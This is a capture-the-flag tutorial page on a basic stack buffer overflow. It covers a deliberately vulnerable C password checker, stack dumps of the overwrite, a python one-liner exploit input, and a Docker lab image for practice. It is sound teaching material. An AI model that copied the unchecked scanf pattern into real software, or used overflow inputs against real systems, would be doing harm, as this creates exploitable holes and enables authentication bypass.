Challenge example
Code source exemple
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(void) {
char passwd[16] = ""; // array to store the username
char password[16] = ""; // array to store the password
FILE *fp = fopen(".passwd", "r");
fread(passwd, 1, 15, fp);
fclose(fp);
passwd[15] = '\0';
printf("Enter the password: ");
scanf("%s", password); // read the password from the user
if (strcmp(password, passwd) == 0) {
printf("good job\n");
} else {
printf("permission denied\n");
}
return 0;
}
The objectif is to dectect the buffer overflow and exploit it to print "good job".
Exploitation
This program is vulnerable to Buffer Overflow. In this case, the password
array has a size of 16 characters, but the program does not check the length of the input entered by the user. This means that if the user enters a password that is longer than 15 characters, it will overwrite adjacent memory locations.
As explained in the "operation of the stack" part, variables are stored into the stack in the same order that they are declared :
$ ./chall
Enter the password: AAAAAAAAAAAAAAA
address | values
------------+-------------------------------------------------------------------
| +------------------------ password --------------------------+
0xffffd4dc: | | 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 |
0xffffd4e4: | | 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x00 |
| +------------------------------------------------------------+
| +------------------------- passwd ---------------------------+
0xffffd4ec: | | 0x53 0x75 0x70 0x65 0x72 0x50 0x61 0x73 |
0xffffd4f4: | | 0x73 0x77 0x6f 0x72 0x64 0x21 0x21 0x00 |
| +------------------------------------------------------------+
... | ...
If the input password is longer than 15 characters, the passwd value can be overwrite :
$ ./chall
Enter the password: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
address | values
------------+-------------------------------------------------------------------
| +------------------------ password --------------------------+
0xffffd4dc: | | 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 |
0xffffd4e4: | | 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 |
| +------------------------------------------------------------+
| +------------------------- passwd ---------------------------+
0xffffd4ec: | | 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 |
0xffffd4f4: | | 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 |
| +------------------------------------------------------------+
... | ...
$ python3 -c "print('A' * 15 + '\0' + 'A'*15)" | ./chall
Enter the password: good job
Now the stack is composed as the following :
address | values
------------+-------------------------------------------------------------------
| +------------------------ password --------------------------+
0xffffd4dc: | | 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 |
0xffffd4e4: | | 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x00 |
| +------------------------------------------------------------+
| +------------------------- passwd ---------------------------+
0xffffd4ec: | | 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 |
0xffffd4f4: | | 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x00 |
| +------------------------------------------------------------+
... | ...
Exercice
If you want to try this exploit by yourself, you can pull this docker image :
docker pull thectfrecipes/pwn:basics
Deploy the image using the followed command :
docker run --name thectfrecipes_buffer_overflow_basics -it --rm -d -p 3000:3000 thectfrecipes/pwn:basics
Access to the web shell with your browser at the address : http://localhost:3000/
login: challenge
password: password
Last updated